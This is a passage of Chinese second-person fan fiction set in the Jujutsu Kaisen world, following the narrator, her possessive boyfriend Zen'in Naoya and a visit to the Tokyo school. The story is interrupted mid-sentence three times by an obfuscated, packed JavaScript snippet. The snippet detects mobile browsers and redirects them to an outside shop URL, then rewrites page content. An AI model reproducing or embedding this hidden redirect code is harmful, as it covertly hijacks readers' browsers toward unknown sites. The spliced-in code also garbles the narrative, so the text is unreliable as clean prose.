“别摔倒了!”他在浴室外提醒你,虽然他很想代劳,但是他知道自己的忍耐上限在哪里,所以还是放弃了这个危险的想法。 说完这句他又觉得有些不对,这句话实在是太像……太像一个老妈子了,他可是禅院直哉,怎么可以……怎么可以说出那么软弱的话呢。 直哉的封建少爷人格只上线了一秒又立刻下线,他很快给自己找到了理由:你现在还手软脚软,如果摔倒了受伤了哭起来,首先会很疼,其次需要认真哄你的工作属于他。 他立刻逻辑自洽:我这样说都是为了我自己,可不是为了女人。 想就做,他从橱柜里取了新毛巾后进了浴室。 你刚脱下外衣,见他进来,有些奇怪地看着他。 他弯腰将浴巾铺在你可能会走过的地面上,又嘱咐了你一句:“别滑倒,快点洗,洗完了就出来。” “……哦。”你想说直哉可真体贴啊,但是他脸黑黑的,作为他的青梅竹马你立刻知道了他在羞赧什么,你很善良地闭了嘴。 如果你说‘直哉真是好操心啊’,他会立刻原地羞愤欲死,你太了解他了,为别人服务在直哉的眼里是可耻的,不符合他身份的事情,即使这个别人是你,他也会非常不自在。 洗完澡、喝下预防感冒的药,你将自己裹在温暖的被子里,直哉陪在你的身边,偶尔摸摸你的额头,偶尔又给你掖紧被角,一副操心的鸡妈妈的模样。 外人看到会瞳孔地震,更有甚者可能会找法师来给直哉驱魔:禅院最难搞的男人,恶劣至极的嫡子,居然会对一个外姓女人流露出这样的表情,全然的担心,就好像你是他生的一样。 被子太软,药力太强,直哉在身边让你太安心,你很快昏昏沉沉睡去。 你被绑架的消息很快小范围散播开来,毕竟直哉都那么大张旗鼓地找你了,等你睡醒你发现有十几个宪纪的未接来电,你立刻给他打了回去。 电话里宪纪的声音很是慌张,他先问你是否安好,又急急忙忙解释说一定是误会。 这个谎言本来就来自于你,你当然知道这是‘误会’,于是你安抚宪纪说一定是有人冒充,让他不要放在心上。 你如此笃定的态度让宪纪有一种强烈的受宠若惊感,他没想到你居然如此信任他,其实他自己都不是百分百确定。 御三家或者说是每一个古老家族都有无数旁支,宪纪只能确定他本人没有绑架你,却无法笃定其他加茂。在他心中还在打鼓的时刻你却给与如此充足的信任,这实在是…… 他被你的信任感动到了。 你对于随口胡诌加茂家也有些心虚,于是你和宪纪互相客气着挂了电话,两边都感觉愧对对方。 挂了电话,你听到直哉在边上轻轻哼了一声。 “醒来不先叫我而是给其他男人打电话?”他冷哼一声,顺势在床边上坐下,漂亮的金绿色凤眼斜睨你,他语气放缓了一些,慢吞吞地问你,“喂……你好些了吗?” “……毕竟宪纪,加茂,是无辜的。”宪纪二字出口,你就能感觉到直哉不高兴,于是你赶紧改称姓氏。 “鬼知道呢,说不定是他家里那个老头做的呢……加茂家的老头也不是什么善茬。”直哉冷哼,同时伸手去捉你的手,然后牵到自己的脸上贴贴,在你看来这是意义不明的撒娇动作,不过你也不讨厌直哉撒娇就是了。 …… 被直哉不客气称呼的加茂老头,也就是宪纪的父亲加茂康诚,此刻正隔着一扇帘子正襟危坐,态度恭敬。 “什么?乐岩寺的外孙女说是我们做的?”帘子内的青年嗤笑,“她眼睛瞎吗?还是……” “应该是小女孩被吓坏了,或者说……她根本不认识五条家纹,看错了。”加茂康诚小心翼翼地回答,“太爷爷,我觉得乐岩寺的外孙女根本不构成威胁。” “虽然说宪纪小子对她的能力多有赞誉,但是那也不过是学生任务里比较出色罢了,日常她都和禅院家的论外之男厮混,想来也是个轻浮不知礼节的无知妇人。她的结界术虽然看起来唬人,但是其实是外强中干,这次被绑了也没施展开来,甚至我们的人都走了,她都没想起来用术式,只会流着眼泪等救援。”他的语气里充满了鄙视和看不起。 “论外之男?禅院直哉倒不容小觑,那么快的时间里找到了我们的人,先套话再灭口,心狠手辣行事果决,可惜他没有继承到十影,上限也只能到直毘人那里,远远不及伏黑惠。”帘后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055194|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人似乎也没把女人当回事,并且挺认同加茂康诚的话,直接将注意力转移到了禅院直哉身上。 “我已派人去了乐岩寺,和乐岩寺嘉伸声明这是嫁祸,毕竟我们面上一直和谐,乐岩寺那边也接受了这个说辞。”加茂康诚面露鄙夷,“乐岩寺老了,之前被五条悟追到家里就立刻投降,已经不再是我们保守派的中坚力量了。” “可以理解,毕竟他不是孤身一人,年近八十外孙女却还年幼,自然是做事要多留情面的。”帘内的人呵笑一声,“他也没有什么魅力,只是个庸碌的老骨头罢了。” “是是是,那是自然,他们在太爷爷的面前自然都如蝼蚁一般……” “乐岩寺的外孙女那边之后不用派人盯了,压惊的礼物选一些年轻女人喜欢的奢侈品,应该就能堵上她的嘴。”帘内的声音顿了顿,“其实送不送都一样,她自己也要依附于禅院直哉,根本没有什么反抗能力吧?” “那是自然,太爷爷您真是眼光如炬。” “她确实是个花容月貌的稀罕美人,脸看起来还是个聪明人,可惜被禅院直哉和乐岩寺嘉伸养废了,本来这样的术式能有更大的发展……” “那?我们要不要先于禅院提亲?乐岩寺现在如此昏庸软弱,说不定施加一点压力他就立刻同意了?”加茂康诚揣摩着提问。 “没有那个必要。”帘内人否定了他的提议,“不需要节外生枝了。” “是是是。” 让自己的‘曾孙子’退下后,额头有着缝合线的僧侣打开帘子,施施然走了出来,他看向手边开得旺盛美丽的不知名的花,伸手就让它立刻灰飞烟灭。 “根本没必要经营什么御三家的关系,反正很快这些都会不复存在。”看着一地的鲜花灰烬,名为羂索又是加茂宪伦的加茂家实质掌权者露出了一个轻松的笑,“也许只有我和五条悟才是真正的人类吧?九十九由基?乙骨忧太?勉强算半人。其他的……” “愚蠢短视懦弱蠢笨…能成为美丽新世界的花泥都算是他们的荣幸。” …… “阿嚏。”你觉得自己有点感冒了,或者是有人在说你的坏话。 听到你的动静,直哉从一堆公文里抬头,然后走过来摸了摸你的额头,万幸没有发热,但是他还是觉得你可能着凉了,立刻让侍女送来了姜茶。 “我不爱喝这个。”你拒绝,“我没病,我不喝,或者我吃个西药。” “你不喝我喂你喝,你也知道那样我更高兴。”直哉看着属下送来的文件皱眉,吐槽着自己家里人,“真是好多蠢货啊,一堆一堆的烂摊子。” “我喝我喝。”你不想把感冒传染给直哉,那样他又要巨大一个钻你怀里撒娇,你现在身体虚弱吃不消,于是你皱眉接过侍女手里的姜茶,小口小口喝起来,并且嫌弃,“好辣。” “是不是太浓了?”直哉闻言接过了你的碗,他尝了一口,“还好啊……是你太娇气了,快喝!” 你不情不愿接回碗,然后门外有侍女通报,说加茂家送了礼物过来。加茂使者让侍女传话,表示这件事虽然加茂家也是被冒充的,但是他们出于道义感觉过意不去,所以送一些小小心意给浅川小姐压惊。 此时此刻正常的少主应该礼貌收下,并假惺惺地说几句体面话,甚至写封信回去感谢(让手下代写)。 但是禅院少主是禅院直哉,论外之男,并不是按照正常逻辑和剧本行动的家伙。 “禅院什么时候缺东西了?加茂家现在还不是完全清白呢!说不定就是他们干的呢?”本来就烦的直哉瞬间恼怒,并且带着对你被绑架这件事的迁怒,让侍女把东西返还。 门外的加茂使者自然是听得一清二楚,想起自己来之前老爷就预测了禅院不会收下,他不禁有些感慨:果然这对论外的男女很般配,女的是无脑大小姐,男的是无脑大少爷,两人都是漂亮脸蛋的白痴,真是天造地设的一对。直毘人有这样的儿子媳妇,真是有福了。 14. 第 14 章 在多方刻意的回避隐瞒下,你被绑架这件事并没有引起多大的风波,最终被定性为诅咒师冒充加茂家绑架京都校长的外孙女。那两个绑匪和开车的藤村都在被追捕中莫名其妙的死亡了,就好像身体里被植入某种诅咒一样,明明都放弃抵抗了却在被咒符束缚的前一秒吐血身亡。 对于活口都被未知力量灭口这件事,其实你并不意外,毕竟咒术高层的肮脏你从小就听闻了许多,那三人被幕后真凶当成弃子是可以预见的。你想起在车上那两位咒术师对你的鄙视,又想到他们现在不知道躺在哪个停尸房里,深觉人果然不能太过得意,咒术界真的是一个死亡率非常高的恐怖场所,每个人都应该小心翼翼。 同时你清楚知道,其实不管是否抓住活口其实用处都不大,在咒术界的诅咒师层出不穷的同时,御三家(五条外)内部也都是盘根错节,即使这三人招供了,他们这样的虾兵蟹将所知的情报也是需要大打折扣的,真实的价值不高。 你和直哉商量这件事应该通知五条悟,他第一反应是荒谬!思考一下后又说他来通知。 他似乎不太想给你一个联系你俩共同的偶像的机会。 对他这样的反应,你认为是你们从小到大的公平原则作祟,直哉单推的甚尔已经不在了,他也不允许你和你推的五条悟联系(虽然他副推也是五条)。 就很霸道,但是很直哉。 关于通知五条悟这件事你俩意见一致:既然对方冒充五条家,那么这件事也和五条悟有关,虽然你们和他也不是友好到信息互通的关系,但是不能让他置身事外。 五条悟对于直哉不情不愿给予他的信息表示很惊讶。 他并不惊讶有人冒充五条家行事,他惊讶你的反应。 “小离为老师的名誉而撒谎吗?真是感动呢!“他在电话里这般说。 “悟君,请不要自作多情。”直哉几乎是咬牙切齿,他也不爽你为了五条而撒谎甩锅加茂家,但是他的理智告诉他你做的没错,可是该不爽还是会不爽。 “帮我谢谢小离哦直哉君。”五条悟的语调游刃有余又带着一丝玩味,“虽然我知道你是醋罐子不让她给我打电话,但是有些联系是无法切断的呢。” “你!”直哉对于他的话中有话感觉很不爽,顷刻间都要忘记他是最强了。 “毕竟大家都是咒术界的同僚嘛。”听筒里,五条悟丝滑地将话转圜到了客套的漂亮话上,“我会调查的,谢啦,情报。” 你见直哉挂了电话,面色不虞,心说没必要现在触霉头,于是你打算猫猫祟祟溜走,去厨房拿点东西吃。 “回来。”直哉好像背后也能看到一般叫住了你。 他很是霸道地拉你入怀,先是亲你额头,又是闻你的头发,他秀气高挺的鼻尖在你的脸上蹭来蹭去,和猫咪留下信息素一般揉搓了你一通,然后命令你:“以后不许和五条悟有交集。” “……我和五条老师本来就没有多少交集。”你反驳,同时感觉到他抱着你的手臂在收紧,像蟒蛇要掐死猎物一样。 于是你改口:“知道啦,保证不联系五条悟。” 这是一个很普通的承诺,对你来说并没有任何难度,你确实崇拜五条悟也觉得他是当世最强,但是这不代表你要靠近他。 靠近他等于靠近了咒术界最大的漩涡,你又不傻,当粉丝还是当工作人员你还是分得清的。 …… 其实你在被绑架次日就想回学校,直哉却硬说你的身体抱恙,他直接拿你的手机向歌姬老师请了一个礼拜的假。 他说要你好好养身体,又说禅院医疗条件比你家好(毕竟他家有那么多武装人员,医生配比也高),他硬生生留你在他的院子里住下。 名为休养,其实是他吃得饱饱,这大概是他近期最满足的一周,你都开始担心他是否需要去看看医生了。 除了热情的互动,即使是‘老实’睡觉,他也能睡到一半抱住你,啃着啃着就开始得寸进尺,虽然你并没有他那么热衷,但是因为直哉的技术确实精益求精,你也没有太严格的拒绝,算是利好你们双方吧……就很像你们去吃好吃的饭,你都吃不下了他还拼命给你碗里夹,虽然撑死,但是味道还不错。 在送你回学校的车上,你仍然能感觉到直哉的眼神像狩猎者一样落在你裸露在外的脖颈上。 “直哉你差不多一点。”你忍无可忍地回头,严厉道,“我都……你,就算年轻也不能,算了,哎。” 因为司机在前方,你很难说出完整的表达,你比直哉要脸。 “呵。”直哉那双上挑的凤眼里写满了志得意满后的好心情,即使你在拒绝他,他也觉得你在撒娇罢了,“啰嗦,你从头到脚从里到外都是我的,我想怎么做就怎么做。” 你看着他那得意的样子,想到了你小时候家里的那条小狗(现在是老狗),只要碗里狗粮满满,它就是直哉现在这样的表情。 “呵……”还怪可爱的,你想。 然后你不去看他,开始闭目养神,毕竟到了学校有一堆作业要补,还要接受同学们的好奇提问,应付起来也是很麻烦的。 到了京都校的鸟居下,直哉执意跟着你下了车,护送你直到你走入京都校的结界,在你走之前他还拽回你一下,又在你的唇上重重亲了几口,好像在幼稚地宣誓主权。 “记得回信息,晚上给我打视频。”他看着你的眼睛,认真叮嘱。 你当然是胡乱应下,不然又要拉扯很久,这毕竟是校门口,要注意影响。 …… 回到教室里,宪纪是第一个朝你走来的,他看起来有些憔悴,大概是没有休息好。 毕竟你被绑架这件事班级里只有他知道,歌姬老师应该都是不知情的(除非你外公告诉她)。 “浅川,还好吗?”他有些忧虑地上上下下打量你,只是碍于身份无法上手检查,好在你看起来精神很好,也没有明显的伤口,他轻轻呼出一口气,肉眼可见地轻松了一点。 “我没事哦。”你见到宪纪也感觉有些尴尬和心虚,毕竟你随口甩锅就说了加茂家,虽然加茂家也是嫌疑人之一,但是你可以笃定宪纪本人绝对不是真凶。 你对他产生了愧疚之情,想到在那天他打了那么多电话,他一定也是急坏了。 “浅川,听歌姬老师说你生病了。”东堂蒲扇一般的大手重重拍向你的肩膀,“现在好些了吗?你太瘦了!需要多吃多锻炼啊!” 他的声音洪亮元气满满,仿佛教室里的空气都沸腾起来了。 “谢谢你,东堂,我现在已经无大碍了。”你下意识地躲开一点,并不是讨厌他,而是因为他给人巨大的压迫感,你很担心他哪天没轻没重把你拍骨折。 下课后你站在走廊里晒太阳看小鸟,路过的三轮也来和你问好,确认你康复,甚至连真依和桃都观察了你一下,然后淡淡地让你注意身体,看起来是真心的嘱咐。 请假一周确实是较为罕见的情况,她们大概也是真的相信了你身体抱恙,毕竟你看起来强风一阵就能吹倒,缠绵病榻一周也是真实可能发生的。 被她们问候的时候你都产生了‘受宠若惊’的感受,不过仔细想想其实你们也没有什么深仇大恨,现在她们对你的排挤只是不成熟的表现罢了,不需要太过放在心上,以后大家都要在咒术界工作,缓和关系也是应有之义。 下午的时候你遇到了外公,他在体术课上让你们集合,然后说他下周要出差东京,做一些两校交流会的提前准备,需要有人随行。 东堂葵立刻说他要一起去,因为下周小高田在东京有握手会。 不等你外公回答,他又自说自话看向真依,大声呼唤她一起去,理由是他一个人容易迷路,如果因为迷路错过了握手会,后果不堪设想。 你能看到大家脸上的无语,不过因为是东堂,谁都没有说什么。 真依啧了一声,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055195|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有提出反对意见,包容东堂葵的肆意妄为似乎已经是他俩友情的基石。 “好啊,东堂和禅院一起去吧,三轮你作为工作人员随行。”你外公的语气平淡无波,似乎对于人员安排没有什么想法,他突然转向心不在焉的你,“阿离,你也一起。” “欸?”你有些意外,然后惊恐看向东堂葵和禅院真依,和这俩同行……不过你又福至心灵:怕什么,不是还有三轮吗? 三轮是温柔可爱的学妹,她从没有对你冷嘲热讽过,你觉得她好的要命。 “好的,外公。”虽然你外公经常告诉你在学校里要称职务,但是你没打算遵守,你想怎么称呼就怎么称呼,他还能不要你这个外孙女不成? “叫校长。”他板着脸提醒你,但是也没深究,毕竟你的任性妄为体现在方方面面,而允许你胡来也是他对你的一种长辈的爱。 乐岩寺其实本来并没有想带你去东京,毕竟东京有五条悟,想到他兴致勃勃地凑近看你的样子就让人头疼的要命。 但是自从绑架事件后,禅院直哉就像老母鸡护小鸡一样恨不得随时随地跟在你的身边,你好歹也是一个准一级的咒术师,而不是那条名为禅院直哉的恶龙的黄金宝藏。 所以他打算暂时将你带离京都,物理分开一下,让禅院直哉冷静一下,记起来你首先是他的外孙女。 你不知道外公所想,你只是习惯性给直哉发了个信息,告知他你要去东京,问他有没有什么想吃想玩的,你可以给他代购。 放下手机你又开始发散思维:其实根本没必要带什么伴手礼吧,现在的网购如此发达,我这样做也是多此一举?可是如果我出去玩,什么也没给直哉带,他是不是会闹啊?如果换位思考,我肯定会闹的…… “没有想要的。”直哉的信息很快就到了。 ‘啊,好体贴的直哉。’你在心中表扬他。 “禅院正好也有东京的事务需要处理,到时候我也要去东京,你坐我的车?”直哉的第二条信息。 “欸?”你当然知道不可能那么巧,但是很明确的一点就是直哉要跟你去东京。 “不要!你别跟去,很丢人的!”你的手指在手机屏幕上翻飞,“别人会觉得我是巨婴吧?!只是去东京校,你不需要陪我去!” 直哉的电话直接打来,你沉默一下,然后走出教室去接听。 “是吗?不需要我去吗?”直哉的关西腔此刻听着格外黏糊上扬,“可是我会很担心啊……一个人在京都也会很孤独的……” 你好几秒都忘记了说话。 接起电话前你能预计他暴跳如雷或者嚣张跋扈,命令你必须带他随行,没想到居然是如此……甚至有些娇嗔的抱怨和撒娇。 ‘我的直哉好可爱!’你好像被什么东西击中了,幻觉眼前有一条毛色鲜亮干净清爽的小金毛对你摇尾巴,还用舌头濡湿你的手指,眼睛也是亮晶晶的。 “我……你……”你的语塞也表现在电话里。 “真的不行吗?阿离?我不和你们一起去,只是‘正好’也去东京罢了……”直哉当然知道这招奏效,你俩对对方而言基本上是透明人,你吃哪一套对他来说是开卷答案。 “也不是不行。”你承认你输了,“那你到了东京别跟到高专来对我动手动脚,你最好忙你的,别去高专。” “呵,谁要对你动手动脚,放心吧。”直哉也是顺杆子爬的类型,因为不想给你任何后悔的机会,他立刻和你说了再见并挂断了电话。 你拿着手机有些怔愣。 一开始的目的好像是拒绝直哉来着……为什么会答应啊? 你也有些搞不懂自己,但是你也明白:即使你拒绝,他想去还是会去的,东京是一个开放的地点,并不独属于你或者外公。 反正他的决定你无法改变,你决定忽视,于是你揉揉自己的太阳穴,回味了一下直哉黏糊的“撒娇”,心满意足地转身回了教室。 15. 第 15 章 出发东京当日,你们在京都校鸟居下集合,准备前往新干线站。 商务车上,你不假思索地坐在了三轮霞的身边,前方是东堂葵和禅院真依,副驾驶则坐着你的外公。 早上出发前你就收到了直哉的信息,他提前先过去东京了,并且让你大可放心。 你问他‘放心’什么。 他回:我在去东京的路上,等会就不会出现在某人的同学们面前‘丢人现眼’了。 对于他的回复,你感觉有些无语,直哉明显是在阴阳怪气你觉得他‘丢脸’这件事。不过你反正是理直气壮的:你又不是小孩子,如果出发的时候男朋友来特意跟着,那才是真的丢脸吧!如果同行的只有三轮还好,真依在,她肯定又要讽刺你……你对自己强调,真依没什么可怕的,但是被说了会心情不好,是人之常情。 总体来说直哉先出发挺好的。你松开手机,继续和三轮窃窃私语,你一直很喜欢这个学妹却没有什么机会和她玩,所以车上的时间是好机会。 你们小声交流,因为你外公看起来已经睡着了,东堂葵和禅院真依也散发着冰冷的气场,你不想他们听到你们的聊天内容,即使只是‘最近吃了一家很好吃的可丽饼’之类的安全话题。 到了新干线站,作为工作人员的三轮霞很主动地扶着你的外公下车(虽然他根本不需要),你也跟在大家的身后进了站,你缓步走在人群的末端,突然意识到:除了京都校的任务,你很少离开直哉单独行动,最近一次是什么时候来着?忘记了……反正直哉粘人的要命,他完全不像个奔三的男人,除了身体,其他的地方一点也不成熟。 你按部就班上车,找位子坐好,这一节车厢都是空的,你想这大概也是咒术界和普通人世界的一种‘默契’,也许在发现一群咒术师和辅助监督买票的那一秒,售票系统就自动封锁了附近的座位。 这样是合理的,你的眼神飘到东堂葵和禅院真依的身上:毕竟咒术界有各种各样危险的家伙,并不是所有人都像你和三轮一样温柔可亲的(自认为)。 你和三轮聊天,和直哉发信息,又睡了一会儿,到站。 东京校有专车来接,开车的辅助监督姓新田,好像是京都一年级学弟的亲姐姐,一小时车程后,你们到达了东京校的鸟居下。 一下车,东堂葵和禅院真依就说有事要做,然后抛下你外公潇洒离开,浑然没有随行人员的自觉,但是他们一直是这样的,咒术师里也不乏任性的家伙,你外公没有发言评价,也没有不悦,只是带着你和三轮霞走进了东京校。 来到会议室,三轮乖巧认真且主动地站到了门边的位置护卫,你则是在你外公身边坐下,顺便从桌上拿了一个橘子给你外公。 三轮霞看到你们的互动,不禁感叹:想不到浅川学姐那么孝顺啊! 乐岩寺没好气地看你一眼,他三两下扒开橘子,又把它递还给你。 “谢谢外公。”你的本意确实是让他扒,毕竟橘子会把指甲染黄,而且你外公血糖高,最好少吃水果。 三轮霞:……嗯,乐岩寺校长好‘孝顺’。 你吃了一口就觉得好酸,下意识就想把橘子塞到直哉嘴里,左看右看才想起来直哉不在。 于是你拍了橘子的照片发给直哉,表示这个很甜,可惜你吃不到(配上猫咪哭泣表情包)。 直哉秒回:少来,肯定是特别酸吧? 他真是了解你啊! “夜蛾怎么还没来。”乐岩寺觉得有些奇怪,虽然夜蛾正道是他的小一辈,但是他为人一直稳重且有序(相对来说),让老人家等待这样的事情不太像他会做的。 “哈哈,久等了吗?老爷子!”随着一阵爽朗又有点皮的笑声,和室移门被推开,五条悟就这样大步流星地走了进来,无视你们的惊讶,他大剌剌在你外公对面的椅子上坐下,调整了一下舒适的坐姿,一副有话要说的样子。 “五条,夜蛾呢?老夫可是老人家,没有那么多生命等人了啊。”你外公很快就收敛了情绪,沉声问道。 “啊?校长?”五条悟仿佛听到了很有趣的事情一般笑起来,“我让伊地知告诉了他错误的时间,暂时不会来哦!” 他无视了明显有些恼怒的乐岩寺,转而看你,语气依然爽朗:“哦?小离也来了?是陪着外公来的吗?真是好孩子呀!上次的事情吓到你了吧?老师我带你去吃最好吃的布丁压压惊如何?” “五条老师,不用。”你对布丁没有意见,但是你真心不想和五条悟去吃布丁,万一别人以为你和五条老师关系超好的,下次又来绑架你怎么办啊? 像你这样本体脆弱的辅助总是要为自己多打算的,你对自己的胆小怕事有着很现实的理解,不会感觉不好意思,也没有引以为傲,就普普通通吧。 “五条!”乐岩寺打断你们的对话,“你支开夜蛾单独过来,是有什么事要和老夫说吗?” 你外公的意思显而易见:别一天到晚盯着我外孙女,有事说事。 “那我就开门见山了。”五条悟身体往前倾,却没有压低声音,“老爷子,虎杖他们被人丢进少年院特级的任务导致出现死亡,这件事你也知道了吧?” “自然。”乐岩寺眼中精光一现,他刚才就隐约猜到了,五条悟是来兴师问罪的。 “和老爷子没关系吧?”五条悟语气轻松又笃定,仿佛只是想来确认一下心中的想法。 “老夫答应过你,自然言而有信。”乐岩寺的回答也是笃定自信的,因为这件事确实和他没关系。 他曾经力主杀死虎杖悠仁不错,但是他并不是一台咒术机器,在有一个年轻柔弱的外孙女,并且五条悟还明晃晃‘威胁’过的情况下,他是脑子有问题才会继续迫害虎杖悠仁。 五条悟自然知道总监部和高层都不是铁板一块,乐岩寺老爷子的权力并没有大到可以影响所有的老橘子,他只是来确认一下,结果很棒,如他所想。 “嗯哼,我没有不信任老爷子你哦。”得到了想要的答案后,五条悟立刻起身,顺手从你的手里捞过了那个缺了一瓣的橘子,丢进嘴里。 你:欸?! 乐岩寺、三轮霞:? “好酸,下次我让他们别买橘子,待客茶点都换成喜久福吧!”五条悟被橘子酸到,他皱了皱脸,然后对着你们挥挥手告别,“没什么事我先走啦~夜蛾校长大概半小时后到。” 你挺高兴的,不想要的橘子被处理掉了。 乐岩寺冷哼出声,可能是觉得五条悟的行为轻浮不上台面,但是又不能太较真,毕竟他只是拿了你的橘子,这只能算一种恶作剧,而且他也已经受到了被酸到这样的惩罚。 “三轮,去买些茶水来吧。”想到还要等待半小时,乐岩寺对三轮吩咐道。 “是!”三轮霞认真点头,同时用眼神疯狂暗示你。 同为小辈,你当然明白这是三轮霞在暗示你‘走啊,一起出去摸摸鱼’,于是你也立刻起身,表示要和三轮一起去。 乐岩寺当然知道你是想出去玩玩,于是摆摆手说去吧,去吧,一个两个都让人不省心。 …… 你和三轮才刚走出会议室,她就立刻拽住了你的手。 “五条悟应该还没有走远!浅川学姐!陪我去要合影吧!”她漂亮的大眼睛亮晶晶,在你还没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055196|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回应之前,人已经跟着三轮跑了起来。 你是体术超差的辅助型咒术师,新阴流的弟子三轮霞比你强上许多,她就和拎着一个塑料袋一样拖着你狂奔,终于在不远处的庭院小桥附近拦住了五条悟。 “五条老师!可不可以和我们合影!”三轮小脸一红,一脸期待地看向五条悟。 “啊?哈哈哈,当然可以。”五条悟闻言回头,他低头看你们,虽然他戴着眼罩看不清表情,嘴角却是明显上弯的,在他眼里的你们大概是非常可爱的后辈吧。 你有些意外地看向三轮霞,原来她的偶像也是五条悟!如果直哉愿意,你们三人可以组成一个小小的五条老师应援会,当然直哉肯定是不愿意的,他的崇拜具有极强的排他性,同担拒否,是那种觉得同担没资格崇拜五条悟的夸张激粉! 五条悟没去接三轮的手机,而是掏出了他自己的,他非常配合地微微下蹲,扶着你俩的肩膀勉强将三张脸同框摄入。他比你高出三十公分,你们三个想拍在一起也是有些难度的。 “哟西,拍的不错!我传给小离吧!”他欣赏了一下随手一拍的合影表示满意,然后催促你加他的line。 因为有了‘传照片’这样的正事,你不假思索地加了他的line接收了照片,又转发给了三轮。 “非常非常感谢您!五条老师!”三轮欣赏了一下手机里新鲜收到的照片心满意足:非常好!照片里有三个人都非常好看! “不用那么客气,老师也很高兴可以满足你们的心愿哦!那我走啦,拜拜~”五条悟语气轻快地和你们再次道别,你身边的三轮开心到满脸通红,你若有所思地看向她。 根据你的观察,三轮崇拜五条悟的似乎不是单纯的力量,好像还有他那惊天动地的颜值。 这样想着你也朝着五条悟的背影看去:宽肩窄腰大长腿,挺拔修长姿态游刃有余……确实很帅也很DOM(主人)啊。 你开始理解,怪不得直哉每次提到五条悟都心情复杂,他确实在所有方面都碾压着直哉。 最让直哉如鲠在喉的可能是颜值方面,因为直哉也是一个很漂亮的男人,被五条悟颜值压一头的感觉……就好像触手可及却触碰不到,这种感受比力量上的绝对差距更让人难受。作为直哉的女朋友,你非常罕见地理解了他的心情,不过也就理解了一秒,他的心理健康是他的问题啦。 除了被五条悟全方面压制,直哉的性格也别扭的要命,如果他能和三轮一样大大方方表示对五条悟的喜爱崇拜,那他应该会比现在更快乐,不过别扭也是直哉这个人的组成部分,你也不强求他和三轮一样开朗大方了。禅院的人在你眼里都有点病病的,直哉也不例外。 三轮拉着你,哼着歌,几乎要旋转跳跃,你俩开开心心往会议室走,脚步轻快,像地上跳跃的小麻雀一样。 走到半路,你隐隐约约觉得好像有哪里不对,但是一下子又想不起来。 到达会议室,三轮心满意足地回到岗位上站好,你也乖巧坐到了外公身边。 空气安静了,大家都没啥事做,你也开始发呆放空,桌上的橘子你是绝对不想吃了,于是你开始计划晚上吃什么,如果是外公请客,你要吃贵贵的,顺便和外公说给三轮加工资,她要养两个弟弟好像很辛苦。 “茶呢?”乐岩寺等了半天看你俩没有动作,于是主动问道。 你和三轮面面相觑,都在对方的表情里读到了:糟糕,完全忘记了。 一边是大帅哥五条悟老师,一边是你风烛残年的外公,会被哪边吸引注意力实在是太好猜了,你立刻甩锅到‘人之常情’这上,并起身和三轮又跑了出去。 16. 第 16 章 你和三轮小跑出了会议室去买茶水。 走出门外你俩互相看了一眼,都不好意思地笑起来。 一个人忘记买茶很正常,可是你俩都忘记了,只能说乐岩寺老爷子的魅力被五条悟秒杀一万次还绰绰有余,你觉得人不能不服老啊,虽然年轻的时候外公也没有很帅,但是你很好看,他应该也不差吧。 因为东京校也没几个学生,偌大的校园可以说是空空荡荡,你们绕了好远的路才看到一台自动售货机。 售货机前站着一个褐色头发的少女和一个海胆头少年。 此时此地出现于此的青少年,那么一定是东京校的学生,你对他们很是眼生,那么他们一定是一年级的新生。 当你的目光停留在海胆头少年身上时,他回了头,你感觉他长得非常非常眼熟! 上挑眼、长睫毛、挺翘的鼻子、不爽的气质……如果把头发颜色换成金色的就很像直哉啊!或者说,如果直哉不让你帮他染头发,他的原生长相和这个少年有七分像! 他一定是伏黑惠,那个让直哉态度复杂的十影继承者,你笃定。 “欸?你们是谁?”褐色短发的少女看起来是个直爽的性子,在注意到你和三轮出现的瞬间就立刻发问,“新来的学生?五条老师没提过啊……” “你们好,我们是京都校的。”见她提问,三轮站正了礼貌地回应她,“我是京都校二年级的三轮霞,她是浅川学姐。” 她们对话的同时你还在打量伏黑惠,伏黑惠也注意到了你的目光在他身上久久停留,他被你看得有些不自在,下意识偏过头去。 ‘这种别别扭扭的小动作也和直哉很像啊。’看着他,你不禁想到了硬要跟来东京,但是在你的强烈要求下没来东京校,而是在附近转悠、办所谓的正事的直哉。 “你们好,我叫浅川离,京都校三年级。”即使想法一堆,你还是有社交礼仪的,被三轮点名后你立刻回神问好。 “你这……”短发少女的眼神在你身上停留一瞬,然后似乎被你的形象惊到,她倒抽冷气,“我是钉崎野蔷薇,他是伏黑惠,你……皮肤好白啊,头发是银色的,瞳孔颜色也好浅,简直了,你是什么北欧和日本的混血儿吗?” 